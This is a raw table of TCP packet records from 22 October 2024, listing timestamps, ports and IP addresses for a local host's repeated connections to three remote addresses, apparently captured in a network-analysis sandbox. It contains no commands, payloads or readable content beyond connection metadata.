Oct 22, 2024 16:12:05.644999981 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.645221949 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.646785975 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.761271000 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.786778927 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:05.792152882 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:06.034399986 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:06.037790060 CEST	49996	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.037841082 CEST	443	49996	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.037913084 CEST	49996	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.038499117 CEST	49996	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.038511992 CEST	443	49996	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.084841967 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:06.422159910 CEST	80	49995	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:06.423546076 CEST	49997	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.423578024 CEST	443	49997	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.423661947 CEST	49997	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.423917055 CEST	49997	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.423938036 CEST	443	49997	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.475476980 CEST	49995	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:06.659236908 CEST	443	49996	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.660836935 CEST	49996	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.660866976 CEST	443	49996	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.804373980 CEST	443	49996	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.804630041 CEST	443	49996	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:06.804789066 CEST	49996	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.805188894 CEST	49996	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:06.807883978 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:06.809154987 CEST	49998	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:06.813982964 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:06.814043045 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:06.814760923 CEST	80	49998	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:06.814842939 CEST	49998	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:06.814937115 CEST	49998	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:06.820483923 CEST	80	49998	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:07.035191059 CEST	443	49997	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:07.038369894 CEST	49997	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:07.038397074 CEST	443	49997	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:07.190934896 CEST	443	49997	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:07.191015959 CEST	443	49997	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:07.191179037 CEST	49997	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:07.191507101 CEST	49997	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:07.194279909 CEST	49995	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:07.195466042 CEST	49999	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:07.200604916 CEST	80	49995	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:07.201030970 CEST	80	49999	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:07.201109886 CEST	49995	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:07.201124907 CEST	49999	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:07.201246977 CEST	49999	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:07.207135916 CEST	80	49999	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:07.657674074 CEST	80	49998	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:07.662859917 CEST	50000	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:07.662904978 CEST	443	50000	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:07.663103104 CEST	50000	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:07.663381100 CEST	50000	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:07.663388968 CEST	443	50000	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:07.709863901 CEST	49998	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.049173117 CEST	80	49999	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:08.050430059 CEST	50001	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.050538063 CEST	443	50001	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.050631046 CEST	50001	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.050839901 CEST	50001	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.050868988 CEST	443	50001	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.100608110 CEST	49999	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.275823116 CEST	443	50000	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.278425932 CEST	50000	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.278451920 CEST	443	50000	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.428664923 CEST	443	50000	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.428914070 CEST	443	50000	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.429249048 CEST	50000	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.436731100 CEST	50000	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.510706902 CEST	50002	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.517021894 CEST	80	50002	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:08.517293930 CEST	50002	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.517466068 CEST	50002	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.523854971 CEST	80	50002	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:08.670223951 CEST	443	50001	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.725483894 CEST	50001	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.739703894 CEST	50001	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.739722967 CEST	443	50001	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.884283066 CEST	443	50001	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.884382963 CEST	443	50001	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:08.884480000 CEST	50001	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.901526928 CEST	50001	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:08.952915907 CEST	50003	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.958461046 CEST	80	50003	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:08.958542109 CEST	50003	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.958656073 CEST	50003	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:08.963890076 CEST	80	50003	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:09.359898090 CEST	80	50002	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:09.361068964 CEST	50004	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:09.361109972 CEST	443	50004	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:09.361223936 CEST	50004	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:09.361483097 CEST	50004	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:09.361499071 CEST	443	50004	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:09.412988901 CEST	50002	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:09.804703951 CEST	80	50003	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:09.806303024 CEST	50005	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:09.806356907 CEST	443	50005	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:09.806467056 CEST	50005	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:09.806885958 CEST	50005	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:09.806894064 CEST	443	50005	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:09.850497007 CEST	50003	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:09.974742889 CEST	443	50004	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:09.976558924 CEST	50004	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:09.976572037 CEST	443	50004	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.118865967 CEST	443	50004	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.118988037 CEST	443	50004	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.119054079 CEST	50004	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.119566917 CEST	50004	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.122391939 CEST	50002	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.123816967 CEST	50006	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.129034042 CEST	80	50002	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:10.129103899 CEST	50002	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.129674911 CEST	80	50006	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:10.129729986 CEST	50006	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.129796982 CEST	50006	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.136109114 CEST	80	50006	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:10.406014919 CEST	443	50005	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.408026934 CEST	50005	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.408077002 CEST	443	50005	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.556885004 CEST	443	50005	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.556996107 CEST	443	50005	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.557151079 CEST	50005	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.557461023 CEST	50005	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.561295986 CEST	50003	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.562426090 CEST	50007	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.566984892 CEST	80	50003	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:10.567054033 CEST	50003	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.567733049 CEST	80	50007	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:10.567804098 CEST	50007	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.567869902 CEST	50007	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:10.573442936 CEST	80	50007	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:10.967521906 CEST	80	50006	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:10.968943119 CEST	50008	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.968982935 CEST	443	50008	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:10.969429016 CEST	50008	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.969429016 CEST	50008	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:10.969472885 CEST	443	50008	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:11.022770882 CEST	50006	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:11.393496037 CEST	80	50007	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:11.396476984 CEST	50009	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:11.396542072 CEST	443	50009	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:11.396641016 CEST	50009	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:11.396985054 CEST	50009	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:11.397006035 CEST	443	50009	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:11.445970058 CEST	50007	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:11.601047993 CEST	443	50008	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:11.602783918 CEST	50008	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:11.602823019 CEST	443	50008	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:11.745990992 CEST	443	50008	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:11.746087074 CEST	443	50008	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:11.746278048 CEST	50008	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:11.746685982 CEST	50008	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:11.750297070 CEST	50010	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:11.750299931 CEST	50006	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:11.755569935 CEST	80	50010	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:11.755966902 CEST	50010	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:11.756000996 CEST	80	50006	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:11.756087065 CEST	50010	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:11.756181002 CEST	50006	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:11.761562109 CEST	80	50010	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:12.006927013 CEST	443	50009	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:12.008490086 CEST	50009	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:12.008533001 CEST	443	50009	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:12.152865887 CEST	443	50009	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:12.153103113 CEST	443	50009	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:12.153187037 CEST	50009	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:12.153527975 CEST	50009	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:12.171955109 CEST	50007	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:12.173237085 CEST	50011	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:12.178452969 CEST	80	50007	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:12.178527117 CEST	50007	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:12.179575920 CEST	80	50011	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:12.179833889 CEST	50011	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:12.179974079 CEST	50011	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:12.185410023 CEST	80	50011	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:12.685612917 CEST	80	50010	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:12.686758995 CEST	50012	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:12.686796904 CEST	443	50012	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:12.686893940 CEST	50012	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:12.687112093 CEST	50012	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:12.687123060 CEST	443	50012	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:12.741122007 CEST	50010	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:13.069917917 CEST	80	50011	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:13.071342945 CEST	50013	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.071407080 CEST	443	50013	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.071496010 CEST	50013	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.072041035 CEST	50013	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.072052002 CEST	443	50013	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.116121054 CEST	50011	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:13.300326109 CEST	443	50012	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.302588940 CEST	50012	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.302619934 CEST	443	50012	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.444755077 CEST	443	50012	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.444864035 CEST	443	50012	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.444948912 CEST	50012	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.445472002 CEST	50012	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.449101925 CEST	50010	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:13.450018883 CEST	50014	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:13.455576897 CEST	80	50014	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:13.457123995 CEST	80	50010	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:13.457938910 CEST	50010	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:13.457952976 CEST	50014	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:13.458158016 CEST	50014	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:13.463713884 CEST	80	50014	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:13.687253952 CEST	443	50013	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.689585924 CEST	50013	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.689630032 CEST	443	50013	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.850636005 CEST	443	50013	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.850739956 CEST	443	50013	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:13.851253033 CEST	50013	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:13.855422020 CEST	50013	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.136214972 CEST	50011	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:14.142066002 CEST	80	50011	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:14.142143965 CEST	50011	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:14.150264978 CEST	50015	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:14.155678034 CEST	80	50015	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:14.155852079 CEST	50015	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:14.157345057 CEST	50015	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:14.163189888 CEST	80	50015	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:14.301712990 CEST	80	50014	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:14.303497076 CEST	50016	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.303553104 CEST	443	50016	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:14.303646088 CEST	50016	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.304260015 CEST	50016	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.304276943 CEST	443	50016	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:14.350492001 CEST	50014	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:14.930074930 CEST	443	50016	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:14.931756020 CEST	50016	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.931790113 CEST	443	50016	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:14.993833065 CEST	80	50015	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:14.995623112 CEST	50017	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.995676041 CEST	443	50017	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:14.996313095 CEST	50017	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.996639967 CEST	50017	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:14.996653080 CEST	443	50017	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.038002014 CEST	50015	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.102811098 CEST	443	50016	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.102917910 CEST	443	50016	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.103060007 CEST	50016	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.103847980 CEST	50016	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.108191013 CEST	50014	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.109652042 CEST	50018	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.114392996 CEST	80	50014	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:15.114464998 CEST	50014	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.115089893 CEST	80	50018	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:15.115166903 CEST	50018	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.115284920 CEST	50018	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.121911049 CEST	80	50018	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:15.616266012 CEST	443	50017	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.617804050 CEST	50017	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.617842913 CEST	443	50017	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.761840105 CEST	443	50017	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.761962891 CEST	443	50017	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.762165070 CEST	50017	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.762481928 CEST	50017	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.765455961 CEST	50015	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.766484022 CEST	50019	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.772087097 CEST	80	50019	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:15.772105932 CEST	80	50015	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:15.772175074 CEST	50015	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.772255898 CEST	50019	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.772387028 CEST	50019	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:15.778278112 CEST	80	50019	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:15.965929985 CEST	80	50018	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:15.967536926 CEST	50020	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.967576027 CEST	443	50020	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:15.967683077 CEST	50020	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.967869043 CEST	50020	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:15.967885971 CEST	443	50020	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:16.006752014 CEST	50018	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:16.603888988 CEST	80	50019	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:16.605917931 CEST	443	50020	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:16.623147011 CEST	50021	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:16.623198032 CEST	443	50021	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:16.623334885 CEST	50021	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:16.626904964 CEST	50021	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:16.626924038 CEST	443	50021	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:16.641383886 CEST	50020	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:16.641405106 CEST	443	50020	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:16.647362947 CEST	50019	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:16.782891035 CEST	443	50020	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:16.782985926 CEST	443	50020	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:16.783035994 CEST	50020	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:16.783679962 CEST	50020	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:16.786379099 CEST	50018	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:16.787539005 CEST	50022	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:16.792165041 CEST	80	50018	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:16.792222977 CEST	50018	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:16.793081999 CEST	80	50022	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:16.793143988 CEST	50022	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:16.793247938 CEST	50022	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:16.799166918 CEST	80	50022	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:17.250384092 CEST	443	50021	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:17.252175093 CEST	50021	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:17.252216101 CEST	443	50021	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:17.408703089 CEST	443	50021	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:17.408791065 CEST	443	50021	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:17.408931971 CEST	50021	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:17.409733057 CEST	50021	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:17.449424982 CEST	50019	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:17.455260992 CEST	80	50019	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:17.455339909 CEST	50019	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:17.458755016 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:17.458811045 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:17.458867073 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:17.459371090 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:17.459402084 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:17.629726887 CEST	80	50022	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:17.630950928 CEST	50024	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:17.631011009 CEST	443	50024	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:17.631078959 CEST	50024	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:17.631367922 CEST	50024	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:17.631380081 CEST	443	50024	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:17.678606987 CEST	50022	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:18.236041069 CEST	443	50024	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:18.238035917 CEST	50024	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:18.238059044 CEST	443	50024	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:18.313426971 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:18.313527107 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:18.315289021 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:18.315304041 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:18.315592051 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:18.318336964 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:18.359337091 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:18.384808064 CEST	443	50024	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:18.384910107 CEST	443	50024	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:18.384977102 CEST	50024	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:18.385550022 CEST	50024	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:18.463965893 CEST	50022	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:18.464497089 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:18.464555025 CEST	443	50025	149.154.167.220	192.168.2.6
